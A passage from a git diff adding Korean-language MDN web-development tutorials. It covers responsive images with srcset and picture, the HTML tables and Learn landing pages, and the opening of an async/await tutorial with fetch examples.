알림: 슬롯 너비로 절대값(px, em)이나 뷰포트에 대한 상대값(vw)을 넣어야 한다. 상대값으로 퍼센트(%)를 넣을 수는 없다. 마지막 슬롯 너비에는 미디어 조건문이 없다는 것을 확인했을 것이다. 이것은 미디어 조건문이 참인 경우가 하나도 없는 것우의 기본값이다. 브라우저는 첫 번째 조건문이 맞으면 나머지 모든 조건문을 무시한다. 따라서 미디어 조건문의 순서에 유의하라.

+
+ +

그래서, 이 속성들을 제대로 적으면, 브라우저는 이렇게 할 것이다.

+ +
    +
  1. 기기 너비를 확인한다.
  2. +
  3. sizes 목록에서 가장 먼저 참이 되는 미디어 조건문을 확인한다.
  4. +
  5. 해당 미디어 쿼리가 제공하는 슬롯 크기를 확인한다.
  6. +
  7. 해당 슬롯 크기에 가장 근접하게 맞는 srcset에 연결된 이미지를 불러온다.
  8. +
+ +

이게 전부다! 그래서 지금, 이 속성을 지원하는 뷰포트 너비가 480px인 브라우저가 페이지를 불러온다고 하자, (max-width: 480px) 미디어 조건문이 참이 될 것이고, 따라서 440px 슬롯이 선택될 것이다. 그러면 440px에 가장 가까운 고유 너비(480w)가 선택됨에 따라 elva-fairy-480w.jpg가 로딩될 것이다. 800px 사진은 128KB다. 480px 버전은 고작 63KB인데 말이다. 65KB를 절약했다. 사진이 엄청 많은 페이지였다면 어땠을까. 이 기법은 모바일 사용자가 수많은 대역폭을 절약하게 해 준다.

+ +

이 기능을 지원하지 않는 낡은 브라우저들은 이 속성들을 무시할 것이다. 그리고 {{htmlattrxref("src", "img")}} 속성에 참조된 보통 이미지를 불러올 것이다.

+ +
+

알림: 문서의 {{htmlelement("head")}}에서 <meta name="viewport" content="width=device-width"> 줄을 찾을 수 있을 것이다. 이것은 모바일 브라우저가 실제 뷰포트 너비로 웹페이지를 보여주도록 강제한다. (몇몇 모바일 브라우저들은 뷰포트 너비를 속인다, 그리고 대신에 더 큰 뷰포트 너비에서 페이지를 불러오고, 불러온 페이지를 축소한다. 이것은 반응형 이미지나 디자인에 별로 도움이 되지 않는다. 이것에 대해서는 향후 더 자세히 다룰 것이다.)

+
+ +

유용한 개발 도구

+ +

브라우저에는 필요한 슬롯 너비, 기타, 필요한 것들을 찾을 수 있게 도와 주는 유용한 개발 도구들이 있다. 나는 우선 반응형이 아닌 일반 버전의 예제를 불러온다(not-responsive.html). 그리고 나서 반응형 디자인 모드(도구 > 웹 개발 도구 > 반응형 디자인 모드)로 간다. 이 모드는 다양한 크기의 기기로 보는 것처럼 웹페이지 레이아웃을 보게 해 준다.

+ +

나는 뷰포트 너비를 320px로 했다가 480px로 한다. 각 너비에서 나는 DOM 검사기로 가서, 확인하고 싶은 {{htmlelement("img")}} 요소를 클릭한다. 그리고 화면의 오른쪽에 있는 박스 모델 뷰 탭에서 크기를 확인한다. 이렇게 하면 필요한 고유 너비를 알 수 있다.

+ +

A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels.

+ +

다음으로 원하는 뷰포트 너비를 설정해서 어떤 srcset이 작동하는지 체크할 수 있다(예컨대, 좁게 설정할 수 있다). 네트워크 검사기(도구 > 웹 개발 도구 > 네트워크)를 열고, 페이지를 새로 고침 한다. 웹페이지를 만들기 위해 다운로드한 항목들을 보여 주는데, 따라서 어떤 이미지가 사용됐는지 여기서 확인할 수 있다.

+ +
+

알림: 크롬에서 테스트할 때 캐시를 비활성화하라. 개발자 도구를 열고, Network 탭의 체크박스들 중 Disable cache에 체크하라. 이렇게 하지 않으면 크롬은 최적의 이미지보다 캐시된 이미지를 선호할 것이다.

+
+ +

a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images

+ +

해상도 전환: 같은 크기, 다른 해상도

+ +

만약 다양한 디스플레이 해상도를 지원해야 하는데, 모두가 이미지를 실제 사이즈로 동일하게 봐야 한다면, srcsetsizes 없이 x-서술자를 사용해 브라우저가 적절한 해상도의 이미지를 선택하게 할 수 있다. 꽤 쉽다. srcset-resolutions.html에서 예제를 찾아 볼 수 있다. (소스 코드도 볼 수 있다.)

+ +
<img srcset="elva-fairy-320w.jpg,
+             elva-fairy-480w.jpg 1.5x,
+             elva-fairy-640w.jpg 2x"
+     src="elva-fairy-640w.jpg" alt="요정 옷을 입은 엘바">
+
+ +

A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image이 예에서, 다음 CSS가 이미지에 적용되고, 따라서 화면에서 너비는 320px이 된다(CSS 픽셀이라고 부르기도 한다).

+ +
img {
+  width: 320px;
+}
+ +

이 경우 sizes는 필요 없다. 브라우저는 단순히 보이는 해상도가 얼마인지는 확인하고 srcset에 참조돼 있는 것들 중 가장 적합한 이미지를 제공한다. 따라서 기기의 1픽셀이 CSS의 1필셀에 대응되는, 보통/낮은 해상도 디스플레이의 기기가 페이지에 접속하면, elva-fairy-320w.jpg가 로드될 것이다(1x가 적용됐고, 그걸 명시해서 적을 필요는 없다). 만약 기기의 2픽셀이 CSS 1픽셀에 해당하는 고해상도 기기라면, elva-fairy-640w.jpg가 로드될 것이다. 640px 이미지는 93KB다. 320px 이미지는 39KB밖에 안 된다.

+ +

아트 디렉션

+ +

다시 말하면, 아트 디렉션 문제는 서로 다른 이미지 디스플레이 사이즈에 맞추기 위해 디스플레이된 이미지를 변경하고자 하는 것과 관련있다. 예를 들면, 웹사이트에 데스크톱 브라우저로 들어오면 가운데 한 사람이 있는 커다란 가로 사진이 있다. 그런데 모바일 브라우저로 줄여서 보면 사람이 보기 힘들 정도로 정말 작아진다. 사람이 확대된 좀더 작은 세로 사진으로 보여 주는 게 더 나을 것이다. {{htmlelement("picture")}} 요소가 이런 종류의 해결책을 구현하게 해 준다.

+ +

원래의 not-responsive.html 예제로 돌아가 보자. 아트 디렉션이 절실히 필요한 사진이 있다.

+ +
<img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스">
+ +

{{htmlelement("picture")}}를 이용해 고쳐 보자! <video>와 <audio> 처럼, <picture> 요소는 {{htmlelement("source")}} 요소들을 감싼다. source 요소는 브라우저가 고를 수 있는 여러 소스들을 제공한다. soucre 요소들 뒤에는 가장 중요한 {{htmlelement("img")}} 요소가 뒤따른다. responsive.html 코드는 이렇다.

+ +
<picture>
+  <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg">
+  <source media="(min-width: 800px)" srcset="elva-800w.jpg">
+  <img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스">
+</picture>
+
+ + + +

이 코드는 넓은 화면과 좁은 화면 둘 다에서 적절한 이미지를 표시하게 해 준다. 아래를 보자.

+ +

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen

+ +
+

알림: 미디어 속성은 아트 디렉션 시나리오에서만 사용하라. 만약 미디어를 사용한다면, 미디어 조건문을 사이즈 속성에 넣지 마라.

+
+ +

왜 CSS나 자바스크립트를 이용해 이렇게 할 수 없는가?

+ +

브라우저가 페이지를 불러오기 시작할 때, 메인 파서가 CSS와 자바스크립트를 로드하고 해석하기 전에 이미지들을 다운로드(미리 불러오기)하기 시작한다. 이렇게 하는 것은 평균적으로 페이지 로딩 시간을 20%쯤 단축시켜주는 유용한 기법이다. 그러나 반응형 이미지에는 도움이 안 된다. 따라서 srcset 같은 해결책을 구현해야 한다. 예를 들면, {{htmlelement("img")}} 요소를 불러온 후, 자바스크립트로 뷰포트 너비를 감지하고, 필요하면 더 작은 소스 이미지로 동적으로 바꾸는 식으로 할 수 없다. 그 시점에, 원래의 이미지가 이미 로드된 상태고, 작은 이미지까지 불러와야 한다. 반응형 이미지 관점에서 더 나쁘다.

+ + + +

최신 이미지 포맷을 대담하게 사용하라

+ +

흥미로운 새 이미지 포맷들이 있다(WebP나 JPEG-2000). 이 포맷들은 작은 용량과 높은 질을 동시에 유지할 수 있게 해 준다. 그러나 브라우저 지원에 구멍이 많다.

+ +

<picture>는 상대적으로 낡은 브라우저들의 욕구도 채워 준다. 우리는 type 속성 안에 마임타입을 제공해 브라우저가 지원하지 않는 파일 유형을 즉시 거부하도록 할 수 있다.

+ +
<picture>
+  <source type="image/svg+xml" srcset="pyramid.svg">
+  <source type="image/webp" srcset="pyramid.webp">
+  <img src="pyramid.png" alt="정삼각형 4개로 만든 일반적인 피라미드">
+</picture>
+
+ + + +

능동적 학습: 나만의 반응형 이미지 구현

+ +

능동적 학습을 위해, 우리는 당신이 용기를 내 홀로 해 보길 기대한다. (... 대개는.) 우리는 당신이 <picture>를 이용해 자신만의 딱 맞는 좁은 화면용/넓은 화면용 아트 디렉션 샷을 구현하고, srcset을 사용하는 해상도 전환 예제를 구현하길 바란다.

+ +
    +
  1. 자기 코드가 있는 간단한 HTML을 작성하라(원한다면 not-responsive.html를 시작점으로 삼자).
  2. +
  3. 어딘가에 상세한 부분이 있는 멋진 가로 풍경 사진을 찾아라. 그래픽 편집기를 이용해 웹 사이즈 버전을 만들고, 상세한 부분을 확대해 보여줄 수 있도록 그걸 더 작게 잘라서 두 번째 이미지를 만들자(대략 480px 정도면 적당하다).
  4. +
  5. srcset/size를 사용해, 서로 다른 해상도에서 같은 크기의 이미지를 제공하거나 서로 다른 뷰포트 너비에서 서로 다른 크기 이미지를 제공하는 해상도 전환 예제를 만들자.
  6. +
+ +
+

알림: 위에서 보여 줬듯이, 브라우저 개발자 도구를 사용해 필요한 크기가 얼마인지 찾아내는 데 도움을 얻자.

+
+ +

정리

+ +

이것이 반응형 이미지의 비밀이다. 이 새로운 기법을 즐기길 바란다. 핵심을 되짚다면, 우리가 다룬 두 가지 구분된 문제가 있다.

+ + + +

이것으로 전체 멀티미디어와 엠베딩 모듈을 끝냈다! 남은 것은 멀티미디어 평가를 치르는 것뿐이다. 얼마나 배웠는지 확인해 보자. 즐겁게 진행하기를!

+ +

더 알아 보기

+ + + +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
+ +
+

In this module

+ + +
diff --git a/files/ko/learn/html/tables/index.html b/files/ko/learn/html/tables/index.html new file mode 100644 index 0000000000..72964f0907 --- /dev/null +++ b/files/ko/learn/html/tables/index.html @@ -0,0 +1,42 @@ +--- +title: HTML tables +slug: Learn/HTML/Tables +tags: + - HTML + - 가이드 + - 모듈 + - 초보자 + - 테이블 +translation_of: Learn/HTML/Tables +--- +
{{LearnSidebar}}
+ +

HTML에서 매우 일반적인 작업으로 표 형식의 데이터를 구조화하는 것이며, 이 목적을 위해 여러 요소와 속성을 가지고 있습니다. 스타일링을 위해 약간의 CSS 와 HTML을 함께 사용하면 학교 수업 계획, 지역 수영장 시간표 또는 좋아하는 공룡이나 축구 팀 통계와 같은 웹 테이블 정보를 쉽게 표시 할 수 있습니다. 이 모듈은  HTML을 사용하여 표 형식의 데이터를 구성하는데 필요한 모든 정보를 제공 합니다.

+ +

전제조건

+ +

이 모듈을 시작하기 전에, 당신은 이미 HTML의 기본 지식을 가지고 있어야 합니다. — Introduction to HTML.

+ +
+

노트: 컴퓨터/태블릿/기타 장치에서 자신만의 파일들을 생성 할 수 없다면, 대부분의 예제 코드는 JSBin 또는 Thimble 같은 온라인 코딩 프로그램에서 시도해 볼 수 있습니다.

+
+ +

가이드

+ +

이 모듈은 다음의 내용을 담고 있습니다.

+ +
+
HTML 테이블 기본
+
이 내용에서는 행(row)과 셀(cell), 머리말, 셀을 여러 열(col)과 행(row)으로 확장(span)하는 것과 같은 기본 사항을 다루는 HTML 표를 시작하고 스타일 지정을 위해 열의 모든 셀을 함께 그룹화하는 방법에 대해 설명합니다.
+
HTML 테이블 고급 기능 및 접근성
+
+

이 모듈의 두 번째 내용에서는 HTML 테이블의 캡션/요약 및 행을 테이블 머리, 본문 및 바닥글 세션으로 그룹화 하는 것과 같은 몇 가지 고급 기능을 살펴볼 뿐만 아니라 시각 장애가 있는 사용자를 위한 테이블의 접근성도 살펴보게 됩니다.

+
+
+ +

평가

+ +
+
행성 데이터 구성
+
우리의 테이블 평가에서 태양계의 행성에 대한 데이터 일부를 당신에게 제공하며, 그것을 가지고 HTML 테이블로 구성 하도록 합니다.
+
diff --git a/files/ko/learn/index.html b/files/ko/learn/index.html new file mode 100644 index 0000000000..ce9e422ff5 --- /dev/null +++ b/files/ko/learn/index.html @@ -0,0 +1,167 @@ +--- +title: Web 개발 학습하기 +slug: Learn +tags: + - Beginner + - CSS + - HTML + - Index + - Intro + - Landing + - Learn + - Web + - 웹 + - 초보자 + - 학습 +translation_of: Learn +--- +
{{LearnSidebar}}
+ +
+

환영합니다! 이곳에서 다루는 문서들은 웹개발을 처음 접하는 초보자를 대상으로 합니다. 그리고 간단한 웹사이트를 만들기 위해 필요한 모든 것들을 담고 있습니다.

+
+ +

여기에서는 여러분을 "초보자"에서 "전문가"로 이끄는 걸 목표로 하지 않습니다. 다만, 여러분을 "초보자"에서 "익숙한 단계"로 이끄는 걸 목표로 합니다. 그 이후에는 자신만의 스타일을 찾아야만 합니다. 그리고 그때 보게 될 MDN의 나머지 문서들이나 다른 문서들은 많은 사전지식을 필요로 할 것입니다.
+
+ 코딩을 처음 접하는 분들에게 웹개발은 어려울 수 있습니다(그렇지만 저희가 최선을 다해 설명해드릴께요!). 그렇지만 당신이 웹 개발을 배우고 싶은 학생이든, 수업 자료를 찾는 선생님이든, 그리고 취미로 웹기술을 알고 싶은 사람이든 상관없이 편하게 공부할 수 있도록 하겠습니다.

+ +

새로운 콘텐츠?

+ +

이 곳의 내용은 정기적으로 추가되고 있습니다. 변경점을 추적하기 위해 Learning area release note를 관리하기 시작했으니, 정기적으로 확인해주세요!

+ +

원하는 주제나 빠진 것 같은 부분에 대한 질문은 저희의 Discourse 포럼에 남겨주세요.

+ +

어디서 시작해야 하나

+ + + +
+

참고: 기술 정의에 대한 용어집를 제공합니다. 

+
+ +

{{LearnBox({"title":"Random glossary entry"})}}

+ +

다루는 주제

+ +

다음은 MDN 학습 영역에서 다루는 모든 주제의 목록입니다.

+ +
+
웹 개발 시작하기
+
초보자가 쉽게 따라할 수 있도록 웹 개발을 간단히 소개합니다.
+
HTML — 웹 구축하기
+
HTML은 웹사이트에 들어갈 내용을 작성하고, 해당 내용이 의미나 목적을 정의할 때 사용하는 언어입니다. 이 곳에서는 HTML을 자세히 설명합니다.
+
CSS — 웹 스타일링 익히기
+
CSS는 웹을 꾸미는 데 사용합니다. 애니메이션과 같은 동작을 추가하거나 웹 컨텐츠의 스타일을 지정할 때 사용할 수 있습니다. 이 곳을 통해 CSS 활용법을 알 수 있습니다.
+
JavaScript — 동적인 클라이언트 사이드(혹은 프론트 엔드) 언어
+
JavaScript는 동적 기능을 웹 페이지에 넣을 때 사용하는 스크립트 언어입니다. 이  문서는 JavaScript를 이해하고 작성하는데 익숙해지는데 필요한 핵심적인 내용을 모두 가르쳐줍니다.
+
Web forms — 사용자 데이타로 작업하기
+
Web forms는 사용자와 정보를 주고받기 위한 강력한 도구입니다 — 주로 사용자의 정보를 수집하거나, 유저 인터페이스를 제공하기 위해 사용됩니다. 관련 문서에서 web 폼을 구성하고, 꾸미고, web form과 통신하기 위해 필요한 핵심적인 내용을 모두 다룹니다.
+
접근성 — 모두를 위한 웹사이트
+
접근성은 신체적인 장애나 지역과 장비및 기타 개인간 차별을 유발하는 요소에 상관없이 누구나 웹에 접근할 수 있도록 하기 위한 코드 작성법을 다룹니다. 이 문서를 통해 필요한 모든 내용을 학습할 수 있습니다.
+
Web 성능 — 웹사이트를 빠르고 즉시 반응하도록 만들기 
+
Web 성능은  사용자의 인터넷 대역이나, 화면 크기, 네트워크나 장비의 능력에 관계없이, 웹 어플리케이션의 다운로드를 빠르게하고 사용자의 조작에 즉시 반응하도록 하는 기술입니다. 
+
도구와 테스트
+
크로스 브라우징(cross browsing) 도구처럼 개발자가 개발을 하는 데 도움을 주는 도구를 설명합니다.
+
서버 사이드(혹은 벡 엔드) 웹 프로그래밍
+
클라이언트측 웹 개발에 집중해도 서버가 작동하는 방식을 파악하는 것이 여전히 유용합니다. 이 곳에서는 서버측의 작동 방식 간단히 알려주고, 두가지 유명한 프레임워크인 Django(Python)과 Express (node.js)를 사용하여 서버측 응용 프로그램을 빌드하는 방법을 알려줍니다.
+
+ +

코드 예제 얻기

+ +

학습 영역에서 만날 수 있는 코드 예제는 모두 GitHub에서 사용할 수 있습니다. 코드 예제를 컴퓨터로 복사하고 싶다면, 가장 쉬운 방법은 가장 최신의 master 코드 브랜치를  ZIP으로 다운로드 (<-클릭하면 zip 파일이 다운로드됨) 받는것입니다.

+ +

자동 업데이트가 되는 좀더 유연한 방법으로 저장소(repo)를 복사하고 싶다면, 다음과 같이 좀 더 복잡한 과정을 따라하면 됩니다.

+ +
    +
  1. 컴퓨터에 Git을 설치합니다. 이것은 GitHub가 사용하는 버전 관리 소프트웨어 입니다.
  2. +
  3. 명령 프롬프트 (윈도우) 혹은 터미널(리눅스, 맥OSX)의 컴퓨터에서 엽니다.
  4. +
  5. 명령 프롬프트/터미널이 가리키는 현재 폴더에 learning area 저장소를 복사하려면 다음 명령어를 사용하십시오: +
    git clone https://github.com/mdn/learning-area
    +
  6. +
  7. 해당 위치에 learning-area 폴더가 생성된 것을 확인할 수 있습니다.
  8. +
+ +

만약 learning-area를 받은지 오래됐다면, 아래 단계를 거쳐 GitHub에서 earning-area에 대한 최신 정보를 업데이트 받을 수 있습니다:

+ +
    +
  1. 명령 프롬프트/터미널에서, cd명령어를 사용하여 learning-area 디렉토리로 이동하십시오.  예를 들어 만약 상위 디렉토리에 있다면: + +
    cd learning-area
    +
  2. +
  3. 아래의 명령어를 사용하면 저장소에 있는 정보를 최신 상태로 업데이트합니다: +
    git pull
    +
  4. +
+ +

연락처

+ +

질의 사항이 있는 경우 메일링 리스트IRC 채널를 통해 메세지를 보내주실 수 있습니다. 내용 오류나 새로운 학습 주제 요청, 이해가 되지 않는 사항에 대한 질의 등 무엇이든 환영합니다.
+
+ 이 모든 학습 과정은 재능 기부자들의 도움으로 만들 수 있었습니다. 컨텐츠의 개발, 개선에 대해 도움을 주실 것에 관심이 있는 경우, 도움을 주는 방법을 한번 봐주시어 메일링 리스트IRC 채널을 통해 소통하신다면 큰 힘이 될 것입니다. 저희는 여러분들이 필요합니다. 이 학습 플랫폼을 개선하는데 열정을 가지신 분이라면 누구든지 환영합니다.

+ +

관련 정보

+ +

** 이곳에 있던 한국어 사이트는 새로 개정되어 승인된 English (US) 버전과 동기하여 비교하기 쉽도록 아래쪽 사용자 추천 사이트 로 내렸습니다.**

+ +

영어 원문에 있는 사이트

+ +
+
Mozilla Developer Newsletter
+
모든 웹 개발자를 위한 모질라 재단의 뉴스레터
+
JavaScript 배우기
+
Web 개발자 지망생을 위한 훌륭한 자료  — 짧은 강좌와 대화형 테스트, 자동화된 평가로 지도하는 인터랙티브 환경에서 JavaScript를 배웁니다. 처음 40개 강좌 는 무료이며, 한번의 작은 금액 지불로 전체코스를 수강할 수 있습니다.
+
Web Demystified 
+
Jérémie Patonnier가 만든 웹 개발을 초보자가 기본을 쌓기에 좋은 강의
+
+ +
+
Codecademy
+
처음으로 프로그래밍 언어를 공부하고 바로 실습할 수 있음
+
BitDegree
+
게임화를 적용한 과정으로 기초 코딩 이론을 배울수 있음. 초보자를 대상으로 함
+
Code.org 
+
기초 코딩 이론과 연습. 주로 아이들이나 완전 초보자를 대상으로 함
+
EXLskills
+
정보 기술을 배우는 무료 강의를 제공. 프로젝트 기반의 학습 제공되며 멘토들에게 직접 조언을 구할수도 있음
+
freeCodeCamp.com
+
웹 개발을 배우기 위한 튜토리얼과 프로젝트가 있음
+
+ +
+
Web Literacy Map
+
초보자가 웹을 활용하고 최신 기술을 배울 수 있는 사이트로 학습 활동을 위한 자료도 제공함
+
Edabit
+
다양한 코딩 문제를 접할 수 있음
+
+ +
+
+

영어 원문에 없는 사용자 추천 사이트 

+
+
프로그래머스
+
프로그래밍의 기초와 실습을 동시에 할 수 있음
+
생활코딩
+
웹에 대한 기초를 쌓기에 유익함
+
edwith
+
부스트 코스를 통해 웹 개발을 심도 있게 배울 수 있음
+
Baekjoon Online Judge
+
다양한 코딩 문제를 풀어볼 수 있음
+
Teaching activities
+
모질라 재단이 운영하는 학습 플랫폼으로 기본적인 웹 활용 방법과 개인 정보 보호부터 JavaScript와 Minecraft 해킹까지 배울 수 있음
+
w3schools 
+
세계에서 가장 큰 웹 개발자 사이트가 모토이며, 모질라와는 달리 설명하는 문장이 길지않고 짤막한 단문으로 이해하기 쉬우며 예제 중심으로 설명하고 있음. 또한 사이트 메뉴가 원하는 주제를 찾기 쉽게 구성 되어 있음
+
diff --git a/files/ko/learn/index/index.html b/files/ko/learn/index/index.html new file mode 100644 index 0000000000..ef35585b45 --- /dev/null +++ b/files/ko/learn/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Learn/Index +tags: + - Index + - Learn + - MDN Meta +translation_of: Learn/Index +--- +

{{Index("/ko/docs/Learn")}}

diff --git a/files/ko/learn/infrastructure/index.html b/files/ko/learn/infrastructure/index.html new file mode 100644 index 0000000000..b2fb5c62b7 --- /dev/null +++ b/files/ko/learn/infrastructure/index.html @@ -0,0 +1,18 @@ +--- +title: Infrastructure +slug: Learn/Infrastructure +translation_of: Learn/Common_questions +--- +

이 능력은 인터넷 기술 스택에 대해  잘 이해할 수 있도록 해줍니다. 알아야 할 것들을 작고, 세부적 기술들로 나누었습니다:

+ +

기본 스킬

+ +

웹에 익숙하지 않으시다면 여기서부터 시작하세요. 웹에 관련된 전문용어를 이해하기위해서 용어사전을 참고하는 것을 추천합니다.

+ +

중급 스킬

+ +

웹에 익숙해지셨다면, 여기에 더 자세한 것들이 있습니다:

+ +

고급 스킬

+ +

경험있는 웹 저자라면, 특정 주제나 특별한 기술들에 흥미를 느끼실 것입니다.

diff --git a/files/ko/learn/javascript/asynchronous/async_await/index.html b/files/ko/learn/javascript/asynchronous/async_await/index.html new file mode 100644 index 0000000000..339a9dabdb --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/async_await/index.html @@ -0,0 +1,383 @@ +--- +title: Making asynchronous programming easier with async and await +slug: Learn/JavaScript/Asynchronous/Async_await +translation_of: Learn/JavaScript/Asynchronous/Async_await +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}
+ +

Javascript에 대한 최신 추가 사항은 ECMAScript 2017 JavaScript 에디션의 일부인 async functions 그리고 await 키워드 입니다.(ECMAScript Next support in Mozilla를 참조하세요). 이러한 기능들은 Promise기반 코드를 좀 더 쓰기 쉽고 읽기 쉽게 만들어줍니다. 이 기능을 사용하면 비동기 코드를 구식 동기 코드처럼 보여주기 때문에 충분히 배울 가치가 있습니다.이번 문서에서 위의 기능을 어떻게 사용하는지 배울 것 입니다.

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, a reasonable understanding of JavaScript fundamentals, an understanding of async code in general and promises.
Objective:To understand promises and how to use them.
+ +

The basics of async/await

+ +

async/await 코드는 두 가지 부분으로 나눠져있습니다.

+ +

The async keyword

+ +

먼저 비 동기 함수를 async function으로 만들기 위하여 function()앞에 async keyword를 추가합니다. async function()은 await 키워드가 비동기 코드를 호출할 수 있게 해주는 함수 입니다.

+ +

브라우저의 JavaScript 콘솔에서 아래와 같이 입력해보세요. :

+ +
function hello() { return "Hello" };
+hello();
+ +

위의 함수는 "Hello"를 반환합니다. — 특별할게 없죠?

+ +

그러면 함수 앞에 async 키워드를 추가하면 어떻게 될까요?? 아래처럼 작성해봅시다.:

+ +
async function hello() { return "Hello" };
+hello();
+ +

이제 코드가 Promise를 반환합니다. 이것이 async 기능의 특징 중 하나 입니다. — 이 키워드를 사용하면 반환받는 값은 Promise가 됩니다..

+ +

async function expression을 사용하여 아래와 같이 만들 수도 있습니다. :

+ +
let hello = async function() { return "Hello" };
+hello();
+ +

화살표 함수를 사용하면 아래처럼 쓸 수 있습니다. :

+ +
let hello = async () => { return "Hello" };
+ +

기본적으로 두 가지는 모두 같습니다.

+ +

실제로는 fulfil Promise가 반환되기 때문에 반환된 값을 사용하기 위해선 .then() 블럭을 사용해야 합니다. :

+ +
hello().then((value) => console.log(value))
+ +

짧개 표현하면 아래와 같이 쓸 수 있습니다.

+ +
hello().then(console.log)
+ +

이전에 봤던 내용과 비슷하죠?.

+ +

정리하면, async 를 함수와 같이 사용하면 결과를 직접 반환하는게 아니라 Promise를 반환하게 합니다. 또한 동기식 함수는 await사용을 위한 지원과 함께 실행되는 잠재적인 오버헤드를 피할 수 있습니다. 함수가  async라고 선언될 때 필요한 핸들링만 추가하면 JavaScript엔진이 우리가 만든 프로그램을 최적화 할 수 있습니다. 끝내주죠?

+ +

The await keyword

+ +

비동기 함수를 await 키워드와 함께 쓰면 그 장점이 확실히 보입니다. 이것은 어떠한 Promise기반 함수 앞에 놓을 수 있습니다. 그리고 우리의 코드의 Promise가 fulfil될 때 까지 잠시 중단하고, 결과를 반환합니다. 그리고 실행을 기다리는 다른 코드들을 중지시키지 않고 그대로 실행되게 합니다.

+ +

await 키워드는 웹 API를 포함하여 Promise를 반환하는 함수를 호출할 때 사용할 수 있습니다.

+ +

여기 간단한 예가 있습니다. :

+ +
async function hello() {
+  return greeting = await Promise.resolve("Hello");
+};
+
+hello().then(alert);
+ +

물론 위의 예시는 그다지 쓸모있진 않습니다. 다만 어떻게 구문을 작성해야 하는지는 잘 나타내줍니다. 이제 실제 사례를 살펴봅시다.

+ +

Rewriting promise code with async/await

+ +

이전 문서에서 봤던 간단한 fetch() 예제를 살펴봅시다. :

+ +
fetch('coffee.jpg')
+.then(response => response.blob())
+.then(myBlob => {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

지금 시점에서 우리는 Promise가 어떻게 작동하는지 잘 이해하고 있습니다. 그렇다면 지금부터 이 예제를 async/await 를 사용하여 더 간단하게 만들어봅시다. :

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  let myBlob = await response.blob();
+
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+myFetch()
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

바꾸고 나니 더 이해하기 쉬워졌습니다. — 더 이상의 .then() 블럭은 찾아 볼 수 없습니다.

+ +

async 키워드가 함수를 Promise로 바꾸었기, 이제 promise 와 await의 하이브리드 접근방식을 사용하기 위해 코드를 리팩토링 할 수 있으며, 두 번째 .then()블럭을 함수 내부의 블럭으로 가져와 더 유연하게 만들 수 있습니다.

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) => {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch(e => console.log(e));
+ +

예제를 직접 만들어보거나, 여기서 결과를 확인할 수 있습니다. live example (see also the source code).

+ +

But how does it work?

+ +

함수 안에 코드를 작성했고, function 키워드 앞에 async 키워드를 썼다는 것을 알 수 있습니다. 꼭 이렇게 써야합니다!! 비동기 코드를 실행할 블럭을 정의하려면 비동기 함수를 생성해야 합니다. awaitasync function 안에서만 쓸 수 있습니다.

+ +
+

Note: It's worth saying again, in a box with an eye-catching background color: await only works inside async functions.

+
+ +

myFetch() 함수 내에 코드가 이전의 Promise버전과 매우 유사하지만, 다른점이 있습니다. .then()블럭을 사용하여 작업을 이어가는 대신 메서드 호출 전에 await 키워드를 사용하여 반환된 결과를 변수에 할당합니다. await 키워드는 JavaScript 런타임이 이 라인에서 비동기 코드를 일시 중지하여 비동기 함수 호출이 결과를 반환할 때 까지 기다리게 합니다. 그러나 외부의 다른 동기 코드는 실행될 수 있도록 합니다. 작업이 완료되면 코드는 계속 이어져서 실행됩니다. 예를들면 아래와 같습니다. :

+ +
let response = await fetch('coffee.jpg');
+ +

fullfilled된 fetch() Promise에서 반환된 응답은 해당 응답이 사용할 수 있게 되면 response 변수에 할당됩니다. 그리고 parser는 해당 응답이 발생할 때 까지 이 라인에서 일시 중지됩니다. response가 사용 가능하게 되면, parser 는 다음 라인으로 이동하게 되고 그 라인에서 Blob 을 생성하게 됩니다. 이라인도 Promise기반 비동기 메서드를 호출하므로, 여기서도await 을 사용합니다. 비동기 작업 결과가 반환되면, myFetch() 함수가 그 결과를 반환합니다.

+ +

myFetch() 함수를 호출하면, Promise를 반환하므로, 따라서 화면에 Blob을 표시해주는 .then() 코드 블럭 체이닝 할 수 있습니다.

+ +

여기까지 왔으면 이 방법이 멋있다고 생각해야합니다! 왜냐하면 .then() 블럭이 줄어들고 대부분이 동기 코드처럼 보이기 때문에 정말 직관적입니다.

+ +

Adding error handling

+ +

그리고 오류 처리를 하려면 몇 가지 옵션이 있습니다.

+ +

동기식 코드에서 쓰는 try...catch 구문을 async/await구조에서 사용할 수 있습니다. 이 예제는 위에서 설명한 첫 번째 코드를 수정한 것 입니다. :

+ +
async function myFetch() {
+  try {
+    let response = await fetch('coffee.jpg');
+    let myBlob = await response.blob();
+
+    let objectURL = URL.createObjectURL(myBlob);
+    let image = document.createElement('img');
+    image.src = objectURL;
+    document.body.appendChild(image);
+  } catch(e) {
+    console.log(e);
+  }
+}
+
+myFetch();
+ +

